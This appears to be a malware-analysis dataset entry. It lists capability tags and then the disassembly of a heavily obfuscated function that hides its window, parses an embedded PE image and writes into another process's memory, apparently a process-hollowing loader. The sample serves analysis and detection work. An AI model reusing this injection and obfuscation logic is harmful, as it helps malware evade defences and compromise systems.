Function at 0x10008050
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x158
mov eax, dword [0x10069804]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x160], 0xff532f7
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x164], eax
sub eax, 0x80da8079
je 0x1000c412
jmp 0x1000808c
mov eax, dword [ebp - 0x164]
sub eax, 0x811e1c84
je 0x1000e12d
jmp 0x100080a2
mov eax, dword [ebp - 0x164]
sub eax, 0x814c245e
je 0x1000a89e
jmp 0x100080b8
mov eax, dword [ebp - 0x164]
sub eax, 0x823db551
je 0x1000e182
jmp 0x100080ce
mov eax, dword [ebp - 0x164]
sub eax, 0x83084f74
je 0x1000a3e0
jmp 0x100080e4
mov eax, dword [ebp - 0x164]
sub eax, 0x838cae2b
je 0x1000b595
jmp 0x100080fa
mov eax, dword [ebp - 0x164]
sub eax, 0x851f93e7
je 0x1000ef56
jmp 0x10008110
mov eax, dword [ebp - 0x164]
sub eax, 0x85aa1fd4
je 0x1000e7e3
jmp 0x10008126
mov eax, dword [ebp - 0x164]
sub eax, 0x85f00ed0
je 0x1000a7a6
jmp 0x1000813c
mov eax, dword [ebp - 0x164]
sub eax, 0x86443f36
je 0x1000e481
jmp 0x10008152
mov eax, dword [ebp - 0x164]
sub eax, 0x868c0005
je 0x1000cc1a
jmp 0x10008168
mov eax, dword [ebp - 0x164]
sub eax, 0x86a22be4
je 0x1000f0ea
jmp 0x1000817e
mov eax, dword [ebp - 0x164]
sub eax, 0x87674e39
je 0x1000d21a
jmp 0x10008194
mov eax, dword [ebp - 0x164]
sub eax, 0x876eae54
je 0x1000dfda
jmp 0x100081aa
mov eax, dword [ebp - 0x164]
sub eax, 0x8824b1dd
je 0x10009d87
jmp 0x100081c0
mov eax, dword [ebp - 0x164]
sub eax, 0x885c5032
je 0x1000c81a
jmp 0x100081d6
mov eax, dword [ebp - 0x164]
sub eax, 0x89c0ddb9
je 0x1000a88f
jmp 0x100081ec
mov eax, dword [ebp - 0x164]
sub eax, 0x8a3383f1
je 0x1000e622
jmp 0x10008202
mov eax, dword [ebp - 0x164]
sub eax, 0x8ad03389
je 0x1000d792
jmp 0x10008218
mov eax, dword [ebp - 0x164]
sub eax, 0x8b290335
je 0x1000cd53
jmp 0x1000822e
mov eax, dword [ebp - 0x164]
sub eax, 0x8bd373fa
je 0x1000a682
jmp 0x10008244
mov eax, dword [ebp - 0x164]
sub eax, 0x8d62c09e
je 0x1000a09f
jmp 0x1000825a
mov eax, dword [ebp - 0x164]
sub eax, 0x8d787f9e
je 0x10009e20
jmp 0x10008270
mov eax, dword [ebp - 0x164]
sub eax, 0x8d8b4f9e
je 0x1000eee6
jmp 0x10008286
mov eax, dword [ebp - 0x164]
sub eax, 0x8df80a09
je 0x1000ba24
jmp 0x1000829c
mov eax, dword [ebp - 0x164]
sub eax, 0x8f0546c5
je 0x10009c5c
jmp 0x100082b2
mov eax, dword [ebp - 0x164]
sub eax, 0x8f359b22
je 0x1000c0cc
jmp 0x100082c8
mov eax, dword [ebp - 0x164]
sub eax, 0x9029334e
je 0x1000ed10
jmp 0x100082de
mov eax, dword [ebp - 0x164]
sub eax, 0x906a57ab
je 0x1000edc9
jmp 0x100082f4
mov eax, dword [ebp - 0x164]
sub eax, 0x90a28776
je 0x1000b337
jmp 0x1000830a
mov eax, dword [ebp - 0x164]
sub eax, 0x916a770b
je 0x10009b2f
jmp 0x10008320
mov eax, dword [ebp - 0x164]
sub eax, 0x91827344
je 0x1000bcd1
jmp 0x10008336
mov eax, dword [ebp - 0x164]
sub eax, 0x92459b31
je 0x1000e996
jmp 0x1000834c
mov eax, dword [ebp - 0x164]
sub eax, 0x92624732
je 0x1000eded
jmp 0x10008362
mov eax, dword [ebp - 0x164]
sub eax, 0x93566d02
je 0x1000b40f
jmp 0x10008378
mov eax, dword [ebp - 0x164]
sub eax, 0x93a55bcc
je 0x1000bf51
jmp 0x1000838e
mov eax, dword [ebp - 0x164]
sub eax, 0x967c3ae5
je 0x10009be6
jmp 0x100083a4
mov eax, dword [ebp - 0x164]
sub eax, 0x9831f3e5
je 0x1000f22d
jmp 0x100083ba
mov eax, dword [ebp - 0x164]
sub eax, 0x9f46889b
je 0x1000cebd
jmp 0x100083d0
mov eax, dword [ebp - 0x164]
sub eax, 0xa1b0f074
je 0x1000adf8
jmp 0x100083e6
mov eax, dword [ebp - 0x164]
sub eax, 0xa1e83a6e
je 0x1000b527
jmp 0x100083fc
mov eax, dword [ebp - 0x164]
sub eax, 0xa3aeffea
je 0x1000efa0
jmp 0x10008412
mov eax, dword [ebp - 0x164]
sub eax, 0xa529ca90
je 0x1000dd80
jmp 0x10008428
mov eax, dword [ebp - 0x164]
sub eax, 0xa5aac913
je 0x1000b17e
jmp 0x1000843e
mov eax, dword [ebp - 0x164]
sub eax, 0xa5d76369
je 0x1000ee5c
jmp 0x10008454
mov eax, dword [ebp - 0x164]
sub eax, 0xa61dce9e
je 0x1000d7b0
jmp 0x1000846a
mov eax, dword [ebp - 0x164]
sub eax, 0xa6acc0b2
je 0x1000d0d8
jmp 0x10008480
mov eax, dword [ebp - 0x164]
sub eax, 0xa7736a80
je 0x1000c93c
jmp 0x10008496
mov eax, dword [ebp - 0x164]
sub eax, 0xa8713ee4
je 0x1000be12
jmp 0x100084ac
mov eax, dword [ebp - 0x164]
sub eax, 0xa874ec85
je 0x1000a27e
jmp 0x100084c2
mov eax, dword [ebp - 0x164]
sub eax, 0xab902de2
je 0x1000e25b
jmp 0x100084d8
mov eax, dword [ebp - 0x164]
sub eax, 0xabc89218
je 0x1000ed6e
jmp 0x100084ee
mov eax, dword [ebp - 0x164]
sub eax, 0xabd02d5d
je 0x1000a92d
jmp 0x10008504
mov eax, dword [ebp - 0x164]
sub eax, 0xabf682a1
je 0x1000bb70
jmp 0x1000851a
mov eax, dword [ebp - 0x164]
sub eax, 0xac8a5f66
je 0x1000b76a
jmp 0x10008530
mov eax, dword [ebp - 0x164]
sub eax, 0xadaa3b63
je 0x1000ba84
jmp 0x10008546
mov eax, dword [ebp - 0x164]
sub eax, 0xaec346c9
je 0x1000e72e
jmp 0x1000855c
mov eax, dword [ebp - 0x164]
sub eax, 0xaff2657b
je 0x1000e240
jmp 0x10008572
mov eax, dword [ebp - 0x164]
sub eax, 0xb19d8d40
je 0x1000edfc
jmp 0x10008588
mov eax, dword [ebp - 0x164]
sub eax, 0xb1e87ecc
je 0x1000a36a
jmp 0x1000859e
mov eax, dword [ebp - 0x164]
sub eax, 0xb2bf1b78
je 0x1000ea12
jmp 0x100085b4
mov eax, dword [ebp - 0x164]
sub eax, 0xb3322e81
je 0x1000e8d3
jmp 0x100085ca
mov eax, dword [ebp - 0x164]
sub eax, 0xb3a2594a
je 0x10009da8
jmp 0x100085e0
mov eax, dword [ebp - 0x164]
sub eax, 0xb4149d73
je 0x1000c54f
jmp 0x100085f6
mov eax, dword [ebp - 0x164]
sub eax, 0xb41a16d6
je 0x1000d4b9
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x160], 0x2fb5222e
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
sub edx, 0x2af9f070
sub edx, 1
add edx, 0x2af9f070
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfcce00ff
mov ecx, 0x8f0546c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001990
add esp, 4
lea eax, [0x1001a1d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001990
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x49800
call fcn.10001020
add esp, 8
lea eax, section..data
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xe1], al
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
sub edx, 0xab98bbfc
sub edx, 1
add edx, 0xab98bbfc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfcce00ff
mov ecx, 0x8824b1dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov dl, byte [ebp - 0xe1]
mov eax, 0x811e1c84
mov ecx, 0xb3a2594a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x160], 0x373148c5
jmp 0x1000f25e
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xe0]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xd8], eax
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
sub edx, 0xba523b74
sub edx, 1
add edx, 0xba523b74
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x310ea22f
mov ecx, 0x1ad0c123
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
sub edx, 0xf9020ecf
sub edx, 1
add edx, 0xf9020ecf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b40d6
mov ecx, 0xba8bbb39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
add edx, 0x33214a92
sub edx, 1
sub edx, 0x33214a92
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfe017bfb
mov ecx, 0x28af1ab8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
add edx, 0xc23e5965
sub edx, 1
sub edx, 0xc23e5965
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x823db551
mov ecx, 0x83084f74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb2bf1b78
mov ecx, 0xe316be68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
sub edx, 0x361ddd3
sub edx, 1
add edx, 0x361ddd3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde3ddb40
mov ecx, 0x26a4abb2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov dl, byte [ebp - 0xbe]
mov eax, 0xa529ca90
mov ecx, 0x1fcca4b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov dword [ebp - 0x160], 0x814c245e
jmp 0x1000f25e
mov dl, byte [ebp - 0xbd]
mov eax, 0xc18886c1
mov ecx, 0xbf61efc4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10006ec0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0xbc], eax
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1103fec
mov ecx, 0x52639d98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
add edx, 0xadbe6972
sub edx, 1
sub edx, 0xadbe6972
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaff2657b
mov ecx, 0x61b2a26b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
sub edx, 0x9efb9bd0
sub edx, 1
add edx, 0x9efb9bd0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xab902de2
mov ecx, 0xbd6fdbf8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov dword [ebp - 0x160], 0x7a6e1282
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
sub edx, 0xfca73b75
sub edx, 1
add edx, 0xfca73b75
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6f6cd6a6
mov ecx, 0xb076560
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x68b09ec0
mov ecx, 0x838cae2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
sub edx, 0xc56d152f
sub edx, 1
add edx, 0xc56d152f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc56cbedb
mov ecx, 0x19b7f9d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
sub edx, 0xeba10ea4
sub edx, 1
add edx, 0xeba10ea4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe7254b3e
mov ecx, 0x5fad3e07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov dword [ebp - 0x160], 0xc7130d6a
jmp 0x1000f25e
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10007860
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0x7d], al
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
add edx, 0x79cebc08
sub edx, 1
sub edx, 0x79cebc08
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9029334e
mov ecx, 0x6e0246ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x114]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0x7c]
mov eax, 0x91827344
mov ecx, 0x3eddb530
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
sub edx, 0x86151add
sub edx, 1
add edx, 0x86151add
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d7858f
mov ecx, 0x35cd04c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
sub edx, 0xdfdde7d3
sub edx, 1
add edx, 0xdfdde7d3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x93662b8
mov ecx, 0xd907588e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x906a57ab
mov ecx, 0x7040cdc1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov dword [ebp - 0x160], 0xb81f59b6
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
sub edx, 0xcbf2f72c
sub edx, 1
add edx, 0xcbf2f72c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x11ed8ca4
mov ecx, 0xa0b4ea0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [ebp - 0x64]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x5e], al
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb9050d11
mov ecx, 0x18e4b017
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov dword [ebp - 0x160], 0x18716474
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
add edx, 0x7ae9280
sub edx, 1
sub edx, 0x7ae9280
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2ade8e84
mov ecx, 0x1d7a8c04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
add edx, 0xb8b81b2e
sub edx, 1
sub edx, 0xb8b81b2e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa5d76369
mov ecx, 0xdf1804d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov dl, byte [ebp - 0x41]
mov eax, 0xe98acd35
mov ecx, 0xdd747118
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov dword [ebp - 0x160], 0xe98acd35
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
add edx, 0xa1afaa19
sub edx, 1
sub edx, 0xa1afaa19
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaec346c9
mov ecx, 0xc545f7f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
cmp dword [eax + 0xc4], 0
setne al
and al, 1
mov byte [ebp - 0x29], al
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
sub edx, 0xc6ab89c0
sub edx, 1
add edx, 0xc6ab89c0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x85aa1fd4
mov ecx, 0x1fea5bea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov dl, byte [ebp - 0x21]
mov eax, 0x599d6389
mov ecx, 0xa61dce9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
sub edx, 0x3ba79055
sub edx, 1
add edx, 0x3ba79055
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe25916b4
mov ecx, 0x22926793
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
sub edx, 0x4d59e0f1
sub edx, 1
add edx, 0x4d59e0f1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4b261e03
mov ecx, 0x5f10a68d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
sub edx, 0xa60c0b98
sub edx, 1
add edx, 0xa60c0b98
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb3322e81
mov ecx, 0x4527bb77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
